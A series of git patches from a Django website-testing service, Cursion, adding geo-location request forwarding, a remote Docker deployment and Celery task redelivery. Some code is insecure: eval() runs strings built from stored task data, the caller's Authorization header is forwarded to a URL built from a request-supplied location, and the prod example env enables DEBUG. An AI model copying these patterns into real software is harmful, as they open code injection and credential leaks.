     path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
@@ -51,6 +50,8 @@
     path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
     path('process', views.Processes.as_view(), name='process'),
     path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
+    path('search', views.Search.as_view(), name='search'),
+    path('device', views.Device.as_view(), name='device'),
     path('log', views.Logs.as_view(), name='log'),
     path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
     path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index b8f8f894..0ed0e26e 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -732,6 +732,16 @@ def get(self, request):
 
 
 
+class Device(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get',]
+
+    def get(self, request):
+        response = get_devices(request)
+        return response
+
+
+
 
 ### ------ Begin Metrics Views ------ ###
 
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 01c00daf..e027382f 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -29,12 +29,13 @@
 SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")
 ALLOWED_HOSTS = [os.environ.get('DJANGO_ALLOWED_HOSTS')]
 
-# URLs
+# URLs & location
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
 LANDING_API_ROOT = os.environ.get('LANDING_API_ROOT')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
+LOCATION = os.environ.get('LOCATION')
 
 # Cursion.landing API KEY
 LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
@@ -230,7 +231,8 @@
 CONFIGS = {
     'window_size': '1920,1080',
     'browser': 'chrome',
-    'device': 'desktop',
+    'device': 'Windows 10 PC',
+    'location': 'us',
     'mask_ids': None,
     'interval': 1,
     'min_wait_time': 3,
diff --git a/commands.txt b/commands.txt
index ee2080db..7dd73b36 100644
--- a/commands.txt
+++ b/commands.txt
@@ -1,6 +1,10 @@
+
+
 ### easy local script ###
 source ./setup/scripts/local.sh
 
+
+
 ### spins up container on localhost ###
 docker compose -f docker-compose.local.yml up --build
 
@@ -31,3 +35,12 @@ docker compose -f docker-compose.stage.yml up --build
 ### spins down the container ###
 docker compose -f docker-compose.stage.yml down
 
+
+
+### spins up the container for geo-locations ###
+docker compose -f docker-compose.remote.yml up --build
+
+### spins down the container ###
+docker compose -f docker-compose.remote.yml down
+
+
diff --git a/docker-compose.remote.yml b/docker-compose.remote.yml
new file mode 100644
index 00000000..7174479d
--- /dev/null
+++ b/docker-compose.remote.yml
@@ -0,0 +1,131 @@
+services:
+
+
+  app:
+    container_name: cursion-app
+    hostname: cursion-app
+    restart: always
+    platform: linux/amd64
+    privileged: true
+    init: true
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "app", "remote"]
+    expose:
+      - 8000
+    env_file:
+      - ./env/.env.remote
+    volumes:
+      - app:/app
+      - static_volume:/app/static
+    depends_on:
+      - db
+
+
+  redis:
+    container_name: cursion-redis
+    hostname: cursion-redis
+    image: redis:alpine
+    ports:
+      - "6379"
+
+
+  celery:
+    container_name: cursion-celery
+    hostname: cursion-celery
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "celery"]
+    env_file:
+      - ./env/.env.remote
+    volumes:
+      - celery:/app
+    depends_on:
+      - redis
+      - app
+      - db
+
+
+  beat:
+    container_name: cursion-beat
+    hostname: cursion-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "beat"]
+    volumes:
+      - beat:/app
+    env_file:
+      - ./env/.env.prod
+    depends_on:
+      - redis
+      - celery
+      - app
+      - db
+
+
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: cursiondev/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
+  nginx-proxy:
+    container_name: nginx-proxy
+    hostname: nginx-proxy
+    build: nginx
+    restart: always
+    ports:
+      - 443:443
+      - 80:80
+    volumes:
+      - static_volume:/app/static
+      - certs:/etc/nginx/certs
+      - html:/usr/share/nginx/html
+      - vhost:/etc/nginx/vhost.d
+      - /var/run/docker.sock:/tmp/docker.sock:ro
+    depends_on:
+      - app
+  
+  
+  nginx-proxy-letsencrypt:
+    container_name: nginx-proxy-letsencrypt
+    hostname: nginx-proxy-letsencrypt
+    image: nginxproxy/acme-companion
+    env_file:
+      - ./env/.env.remote
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock:ro
+      - certs:/etc/nginx/certs
+      - html:/usr/share/nginx/html
+      - vhost:/etc/nginx/vhost.d
+      - letsencrypt-acme:/etc/acme.sh
+    depends_on:
+      - nginx-proxy
+
+
+volumes:
+  app:
+  celery:
+  beat:
+  static_volume:
+  letsencrypt-acme:
+  pgdata:
+  certs:
+  html:
+  vhost:
\ No newline at end of file
diff --git a/env/.env.dev.example b/env/.env.dev.example
index 8697b4fb..537b1b3f 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -9,6 +9,7 @@ VIRTUAL_HOST = api.example.io                       # example
 VIRTUAL_PORT = 8000
 DJANGO_ALLOWED_HOSTS = *
 DEBUG = True
+LOCATION = us
 
 
 # admin credentials  
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 107c2245..cd6ae76a 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -7,6 +7,8 @@ YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
 LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 LETSENCRYPT_HOST = api.example.io                   # example
 DJANGO_ALLOWED_HOSTS = *
+DEBUG = True
+LOCATION = us
 
 
 # admin credentials  
diff --git a/env/.env.stage.example b/env/.env.stage.example
index 5444109f..4a65a123 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -7,6 +7,7 @@ YELLOWLAB_ROOT = http://yellowlab.example.com:8383
 LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 DJANGO_ALLOWED_HOSTS = *
 DEBUG = True
+LOCATION = us
 
 
 # admin credentials 

From 4369eff340a7a8e5449d1d82d909b6f75d3658bd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 10 Oct 2024 22:05:27 -0500
Subject: [PATCH 0756/1099] fixed small args bug

---
 app/api/v1/ops/services.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 332a435e..fe5fd939 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1528,7 +1528,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     """
 
     # check location
-    location_data = check_location(request)
+    location_data = check_location(request, None)
     if location_data['routed']:
         return location_data['response']
 
@@ -1688,7 +1688,7 @@ def create_many_scans(request: object) -> object:
     """
 
     # check location
-    location_data = check_location(request)
+    location_data = check_location(request, None)
     if location_data['routed']:
         return location_data['response']
 
@@ -2169,7 +2169,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     """
 
     # check location
-    location_data = check_location(request)
+    location_data = check_location(request, None)
     if location_data['routed']:
         return location_data['response']
 
@@ -2397,7 +2397,7 @@ def create_many_tests(request: object) -> object:
     """
 
     # check location
-    location_data = check_location(request)
+    location_data = check_location(request, None)
     if location_data['routed']:
         return location_data['response']
 
@@ -4899,7 +4899,7 @@ def create_auto_cases(request: object) -> object:
     """
     
     # check location
-    location_data = check_location(request)
+    location_data = check_location(request, None)
     if location_data['routed']:
         return location_data['response']
 
@@ -5163,7 +5163,7 @@ def create_testcase(request: object, delay: bool=False) -> object:
     """
 
     # check location
-    location_data = check_location(request)
+    location_data = check_location(request, None)
     if location_data['routed']:
         return location_data['response']
 

From 488d80ecc9c5d64768f5d746cdba67cc3e3aa030 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 10 Oct 2024 23:49:19 -0500
Subject: [PATCH 0757/1099] added netmaker to remote deployment

---
 docker-compose.remote.yml | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/docker-compose.remote.yml b/docker-compose.remote.yml
index 7174479d..a143173e 100644
--- a/docker-compose.remote.yml
+++ b/docker-compose.remote.yml
@@ -119,6 +119,16 @@ services:
       - nginx-proxy
 
 
+  netclient:
+    image: gravitl/netclient:v0.25.0
+    network_mode: host
+    privileged: true
+    env_file:
+      - ./env/.env.remote
+    volumes:
+      - /etc/netclient:/etc/netclient
+
+
 volumes:
   app:
   celery:

From 87e2a8afb7af615e167925550390b3c73c4f0f2c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 10 Oct 2024 23:51:10 -0500
Subject: [PATCH 0758/1099] removed db references from remote deployment

---
 docker-compose.remote.yml | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/docker-compose.remote.yml b/docker-compose.remote.yml
index a143173e..34bcbdae 100644
--- a/docker-compose.remote.yml
+++ b/docker-compose.remote.yml
@@ -19,8 +19,6 @@ services:
     volumes:
       - app:/app
       - static_volume:/app/static
-    depends_on:
-      - db
 
 
   redis:
@@ -47,7 +45,6 @@ services:
     depends_on:
       - redis
       - app
-      - db
 
 
   beat:
@@ -67,7 +64,6 @@ services:
       - redis
       - celery
       - app
-      - db
 
 
   yellowlab:
@@ -82,7 +78,6 @@ services:
       - redis
       - celery 
       - app
-      - db
 
 
   nginx-proxy:
@@ -135,7 +130,6 @@ volumes:
   beat:
   static_volume:
   letsencrypt-acme:
-  pgdata:
   certs:
   html:
   vhost:
\ No newline at end of file

From e3a6c030e9bc14a3e07ac45314f955b573198b8f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 10 Oct 2024 23:52:10 -0500
Subject: [PATCH 0759/1099] fixed .env reference

---
 docker-compose.remote.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.remote.yml b/docker-compose.remote.yml
index 34bcbdae..913b9ff0 100644
--- a/docker-compose.remote.yml
+++ b/docker-compose.remote.yml
@@ -59,7 +59,7 @@ services:
     volumes:
       - beat:/app
     env_file:
-      - ./env/.env.prod
+      - ./env/.env.remote
     depends_on:
       - redis
       - celery

From 96e40c095729c90e4179fada1a135be1f7fb19ec Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 11 Oct 2024 00:24:01 -0500
Subject: [PATCH 0760/1099] fixed commands

---
 commands.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/commands.txt b/commands.txt
index 7dd73b36..7bbf550b 100644
--- a/commands.txt
+++ b/commands.txt
@@ -38,7 +38,7 @@ docker compose -f docker-compose.stage.yml down
 
 
 ### spins up the container for geo-locations ###
-docker compose -f docker-compose.remote.yml up --build
+docker compose -f docker-compose.remote.yml up -d --build
 
 ### spins down the container ###
 docker compose -f docker-compose.remote.yml down

From 5c16cdfc2c26926b1b8d52ab058d915d534a5163 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 11 Oct 2024 01:31:52 -0500
Subject: [PATCH 0761/1099] reverted back to simple db connection

---
 docker-compose.remote.yml | 12 +-----------
 1 file changed, 1 insertion(+), 11 deletions(-)

diff --git a/docker-compose.remote.yml b/docker-compose.remote.yml
index 913b9ff0..2fbb3894 100644
--- a/docker-compose.remote.yml
+++ b/docker-compose.remote.yml
@@ -112,17 +112,7 @@ services:
       - letsencrypt-acme:/etc/acme.sh
     depends_on:
       - nginx-proxy
-
-
-  netclient:
-    image: gravitl/netclient:v0.25.0
-    network_mode: host
-    privileged: true
-    env_file:
-      - ./env/.env.remote
-    volumes:
-      - /etc/netclient:/etc/netclient
-
+      
 
 volumes:
   app:

From cbfe893bd4778cd1519d8c77d8fd7b331cd4c5cf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 11 Oct 2024 02:04:08 -0500
Subject: [PATCH 0762/1099] adding response formater to check_location()

---
 app/api/v1/ops/services.py | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index fe5fd939..b89f013a 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2,6 +2,7 @@
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
 from django.db.models import Q
+from django.http import HttpResponse
 from ...models import *
 from rest_framework.response import Response
 from rest_framework import status
@@ -470,11 +471,19 @@ def check_location(request: None, local: None) -> dict:
         # check location and forward request
         if location != settings.LOCATION:
             routed = True
-            response = requests.post(
+            # send request
+            print(f'forwarding request to: {url}')
+            resp = requests.post(
                 url=url,
                 headers=headers,
                 data=request.data
             )
+            # build response
+            response = HttpResponse(
+                content=resp.content,
+                status=resp.status_code,
+                headers=resp.headers
+            )
     
     # return data
     data = {

From f3722ce456055b7e49cac2047c8ab5695ce8de1c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 11 Oct 2024 09:52:45 -0500
Subject: [PATCH 0763/1099] fixing forwarding problem

---
 app/api/v1/ops/services.py | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b89f013a..7007b422 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -462,12 +462,18 @@ def check_location(request: None, local: None) -> dict:
         configs = request.data.get('configs', account.configs)
         location = local if local else configs.get('location', settings.LOCATION)
 
-        # get path, headers, & url
+        # get path & build url
         path = request.path
-        headers = request.headers
         root = settings.API_URL_ROOT.lstrip('https://')
         url = f'https://{location}-{root}{path}'
 
+        # get authorization & build headers
+        auth = request.headers.get('Authorization')
+        headers = {
+            'Content-Type': 'application/json',
+            'Authorization': auth
+        }
+        
         # check location and forward request
         if location != settings.LOCATION:
             routed = True

From 9a8d32548aa3452cd35a19fe3ac673c60322c93f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 11 Oct 2024 10:37:42 -0500
Subject: [PATCH 0764/1099] adding json formatting to location forwarding

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 7007b422..3805de9b 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -482,7 +482,7 @@ def check_location(request: None, local: None) -> dict:
             resp = requests.post(
                 url=url,
                 headers=headers,
-                data=request.data
+                data=json.dumps(request.data)
             )
             # build response
             response = HttpResponse(

From 2d8eff082b71941a525b729422ecdfd6472b558c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 11 Oct 2024 10:47:38 -0500
Subject: [PATCH 0765/1099] removed api log recording from zapier endpoints

---
 app/api/v1/ops/services.py | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 3805de9b..04595871 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -967,7 +967,6 @@ def get_sites_zapier(request: object) -> object:
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
     # get all account assocoiated sites
@@ -1487,7 +1486,6 @@ def get_pages_zapier(request: object) -> object:
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
     # get all site associated pages
@@ -2110,7 +2108,6 @@ def get_scans_zapier(request: object) -> object:
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
     # get all page associated scans
@@ -2830,7 +2827,6 @@ def get_tests_zapier(request: object) -> object:
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
     # get all page associated tests
@@ -3335,7 +3331,6 @@ def get_issues_zapier(request: object) -> object:
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
     # get all page associated issues
@@ -5121,7 +5116,6 @@ def get_cases_zapier(request: object) -> object:
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
     # get all site_id associated cases
@@ -5443,7 +5437,6 @@ def get_testcases_zapier(request: object) -> object:
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
     # get all account assocoiated testcases

From b78cf1b100fea91a01033fda9b18073bf683cf7f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 16 Oct 2024 20:27:30 -0600
Subject: [PATCH 0766/1099] adding redeliver_failed_tasks

---
 app/api/models.py          |  14 +-
 app/api/tasks.py           | 267 +++++++++++++++++++++++++++++++++++--
 app/api/utils/scanner.py   |  18 +--
 app/api/v1/ops/services.py |   7 +-
 app/cursion/settings.py    |  10 +-
 docker-compose.stage.yml   |   2 +-
 6 files changed, 289 insertions(+), 29 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 885ab006..4f41e49f 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -264,6 +264,15 @@ def get_usage_default():
 
 
 
+def get_system_default():
+    system = {
+        'tasks': [],
+    }
+    return system
+
+
+
+
 class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -374,6 +383,7 @@ class Scan(models.Model):
     yellowlab = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_default)
     configs = models.JSONField(serialize=True, null=True, blank=True)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    system = models.JSONField(serialize=True, null=True, blank=True, default=get_system_default)
 
     def __str__(self):
         return f'{self.id}__scan'
@@ -392,7 +402,7 @@ class Test(models.Model):
     post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan')
     score = models.FloatField(serialize=True, null=True, blank=True)
     threshold = models.FloatField(serialize=True, null=True, blank=True)
-    status = models.CharField(max_length=500, serialize=True, null=True, blank=True) # working, failed, passed
+    status = models.CharField(max_length=500, serialize=True, null=True, blank=True)
     component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default)
     html_delta = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs_delta = models.JSONField(serialize=True, null=True, blank=True)
@@ -455,7 +465,7 @@ class Report(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     path = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    type = models.JSONField(serialize=True, null=True, blank=True) # array of [lighthouse, yellowlab]
+    type = models.JSONField(serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
diff --git a/app/api/tasks.py b/app/api/tasks.py
index a107e5e5..b9532903 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1,5 +1,6 @@
 from celery.utils.log import get_task_logger
 from celery import shared_task, Task
+from cursion import celery
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
@@ -19,7 +20,7 @@
 from django.utils import timezone
 from datetime import datetime, timedelta
 from cursion import settings
-import asyncio, boto3, time, requests, json, stripe
+import asyncio, boto3, time, requests, json, stripe, inspect, random
 
 
 
@@ -31,7 +32,7 @@
 
 class BaseTaskWithRetry(Task):
     autoretry_for = (Exception, KeyError)
-    retry_kwargs = {'max_retries': 2}
+    retry_kwargs = {'max_retries': int(settings.MAX_ATTEMPTS - 1)}
     retry_backoff = True
 
 
@@ -107,6 +108,136 @@ def check_location(location: str) -> bool:
 
 
 
+def record_task(
+        resource_type: str=None, 
+        resource_id: str=None, 
+        task_id: str=None, 
+        task_method: str=None, 
+        **kwargs,
+    ) -> None:
+
+    """ 
+    Records task information in the `resource.system` 
+    attribute.
+
+    Expects: {
+        'resource_type' : str (scan, test, testcase)
+        'resource_id'   : str 
+        'task_id'       : str 
+        'task_method'   : str
+        'kwargs'        : dict
+    }
+    
+    Returns: None
+    """
+
+    # get resource 
+    if resource_type == 'scan':
+        resource = Scan.objects.get(id=resource_id)
+    if resource_type == 'test':
+        resource = Test.objects.get(id=resource_id)
+    if resource_type == 'testcase':
+        resource = Testcase.objects.get(id=resource_id)
+
+    # get current resoruce.system.tasks data
+    tasks = resource.system.get('tasks', [])
+
+    # get component based on task_name
+    component = task_method.replace('run_', '').replace('_bg', '').replace('_and_logs', '')
+
+    # check if task exists
+    i = 0
+    exists = False
+    for task in tasks:
+        if task['component'] == component:
+            # update existing task
+            tasks[i]['task_id'] = str(task_id)
+            tasks[i]['attempts'] += 1
+            exists = True
+        i += 1
+
+    # append new task data
+    if not exists:
+        tasks.append({
+            'attempts': int(1),
+            'task_id': str(task_id),
+            'task_method': str(task_method),
+            'component': str(component),
+            'kwargs': kwargs.get('kwargs'),
+        })
+
+    # update resource with new system data
+    resource.system['tasks'] =  tasks
+    resource.save()
+
+    # return
+    return None
+
+
+
+
+@shared_task()
+def redeliver_failed_tasks() -> None:
+    """ 
+    Check each un-completed resource (mainly scans for now) 
+    for any celery tasks which are no longer executing & 
+    associated resource.component is null. Once found, 
+    re-run those specific tasks with saved kwargs.
+
+    Expects: None
+    
+    Returns: None
+    """
+
+    # get uncompleted Scans
+    scans = Scan.objects.filter(time_completed=None)
+
+    # get executing_tasks
+    i = celery.app.control.inspect()
+    reserved = i.reserved()
+    active = i.active()
+    executing_tasks = []
+    for replica in reserved:
+        for task in reserved[replica]:
+            executing_tasks.append(task['id'])
+    for replica in active:
+        for task in active[replica]:
+            executing_tasks.append(task['id'])
+
+    # iterate through each scan and re-run any failed jobs
+    for scan in scans:
+
+        # check for localization
+        if scan.configs.get('location', 'us') != settings.LOCATION:
+            continue
+
+        # check each task in system['tasks']
+        for task in scan.system.get('tasks', []):
+
+            # get scan.{component} data
+            if task['component'] == 'yellowlab':
+                component = scan.yellowlab.get('audits', None)
+            if task['component'] == 'lighthouse':
+                component = scan.lighthouse.get('audits', None)
+            if task['component'] == 'vrt':
+                component = scan.images
+            if task['component'] == 'html':
+                component = scan.html
+            
+            # re-run task if not in executing_tasks &
+            # scan.{component} is None
+            if task['task_id'] not in executing_tasks and component is None:
+                
+                # check for max attempts
+                if task['attempts'] < settings.MAX_ATTEMPTS:
+                    print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
+                    eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
+
+    return None
+
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
     """ 
@@ -664,18 +795,47 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_html_and_logs_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+def run_html_and_logs_bg(
+        self, 
+        scan_id: str=None, 
+        test_id: str=None, 
+        automation_id: str=None, 
+        **kwargs
+    ) -> None:
     """ 
     Runs the html & logs components of the passed `Scan`
 
     Expects: {
         scan_id         : str, 
         test_id         : str, 
-        automation_id   : str
+        automation_id   : str,
+        **kwargs
     }
     
     Returns -> None
     """
+
+    # sleeping random for DB 
+    time.sleep(random.uniform(0.1, 3))
+
+    # get kwargs data if no scan_id
+    if scan_id is None:
+        scan_id = kwargs.get('scan_id')
+        test_id = kwargs.get('test_id')
+        automation_id = kwargs.get('automation_id')
+   
+    # save sys data
+    record_task(
+        resource_type='scan',
+        resource_id=str(scan_id),
+        task_id=str(self.request.id),
+        task_method=str(inspect.stack()[0][3]),
+        kwargs={
+            'scan_id': str(scan_id) if scan_id is not None else None,
+            'test_id': str(test_id) if test_id is not None else None, 
+            'automation_id': str(automation_id) if automation_id is not None else None
+        }
+    )
     
     # run html and logs component
     _html_and_logs(scan_id, test_id, automation_id)
@@ -687,19 +847,48 @@ def run_html_and_logs_bg(self, scan_id: str=None, test_id: str=None, automation_
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_vrt_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+def run_vrt_bg(
+        self, 
+        scan_id: str=None, 
+        test_id: str=None, 
+        automation_id: str=None, 
+        **kwargs
+    ) -> None:
     """ 
     Runs the VRT component of the passed `Scan`
 
     Expects: {
         scan_id         : str, 
         test_id         : str, 
-        automation_id   : str
+        automation_id   : str,
+        **kwargs
     }
     
     Returns -> None
     """
 
+    # sleeping random for DB 
+    time.sleep(random.uniform(0.1, 3))
+
+    # get kwargs data if no scan_id
+    if scan_id is None:
+        scan_id = kwargs.get('scan_id')
+        test_id = kwargs.get('test_id')
+        automation_id = kwargs.get('automation_id')
+   
+    # save sys data
+    record_task(
+        resource_type='scan',
+        resource_id=str(scan_id),
+        task_id=str(self.request.id),
+        task_method=str(inspect.stack()[0][3]),
+        kwargs={
+            'scan_id': str(scan_id) if scan_id is not None else None,
+            'test_id': str(test_id) if test_id is not None else None, 
+            'automation_id': str(automation_id) if automation_id is not None else None
+        }
+    )
+
     # run VRT component
     _vrt(scan_id, test_id, automation_id)
 
@@ -710,19 +899,48 @@ def run_vrt_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=No
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_lighthouse_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+def run_lighthouse_bg(
+        self, 
+        scan_id: str=None, 
+        test_id: str=None, 
+        automation_id: str=None, 
+        **kwargs
+    ) -> None:
     """ 
     Runs the lighthouse component of the passed `Scan`
 
     Expects: {
         scan_id         : str, 
         test_id         : str, 
-        automation_id   : str
+        automation_id   : str,
+        **kwargs
     }
     
     Returns -> None
     """
 
+    # sleeping random for DB 
+    time.sleep(random.uniform(0.1, 3))
+
+    # get kwargs data if no scan_id
+    if scan_id is None:
+        scan_id = kwargs.get('scan_id')
+        test_id = kwargs.get('test_id')
+        automation_id = kwargs.get('automation_id')
+   
+    # save sys data
+    record_task(
+        resource_type='scan',
+        resource_id=str(scan_id),
+        task_id=str(self.request.id),
+        task_method=str(inspect.stack()[0][3]),
+        kwargs={
+            'scan_id': str(scan_id) if scan_id is not None else None,
+            'test_id': str(test_id) if test_id is not None else None, 
+            'automation_id': str(automation_id) if automation_id is not None else None
+        }
+    )
+
     # run lighthouse component
     _lighthouse(scan_id, test_id, automation_id)
 
@@ -733,19 +951,48 @@ def run_lighthouse_bg(self, scan_id: str=None, test_id: str=None, automation_id:
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_yellowlab_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+def run_yellowlab_bg(
+        self, 
+        scan_id: str=None, 
+        test_id: str=None, 
+        automation_id: str=None, 
+        **kwargs
+    ) -> None:
     """ 
     Runs the yellowlab component of the passed `Scan`
 
     Expects: {
         scan_id         : str, 
         test_id         : str, 
-        automation_id   : str
+        automation_id   : str,
+        **kwargs
     }
     
     Returns -> None
     """
 
+    # sleeping random for DB 
+    time.sleep(random.uniform(0.1, 3))
+
+    # get kwargs data if no scan_id
+    if scan_id is None:
+        scan_id = kwargs.get('scan_id')
+        test_id = kwargs.get('test_id')
+        automation_id = kwargs.get('automation_id')
+   
+    # save sys data
+    record_task(
+        resource_type='scan',
+        resource_id=str(scan_id),
+        task_id=str(self.request.id),
+        task_method=str(inspect.stack()[0][3]),
+        kwargs={
+            'scan_id': str(scan_id) if scan_id is not None else None,
+            'test_id': str(test_id) if test_id is not None else None, 
+            'automation_id': str(automation_id) if automation_id is not None else None
+        }
+    )
+
     # run yellowlab component
     _yellowlab(scan_id, test_id, automation_id)
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 37ff09b7..2a3ae691 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -346,7 +346,7 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
 
 
 
-def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
+def _html_and_logs(scan_id: str=None, test_id: str=None, automation_id: str=None) -> object:
     """
     Method to run the 'html' and 'logs' component of the scan 
     allowing for multi-threading.
@@ -354,12 +354,12 @@ def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) ->
     Expects: {
         scan_id: str, 
         test_id: str, 
-        automation_id: str
+        automation_id: str,
     }
 
     Returns -> `Scan` <obj>
     """
-
+    
     # retrieve scan
     scan = Scan.objects.get(id=scan_id)
 
@@ -407,7 +407,7 @@ def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) ->
 
 
 
-def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
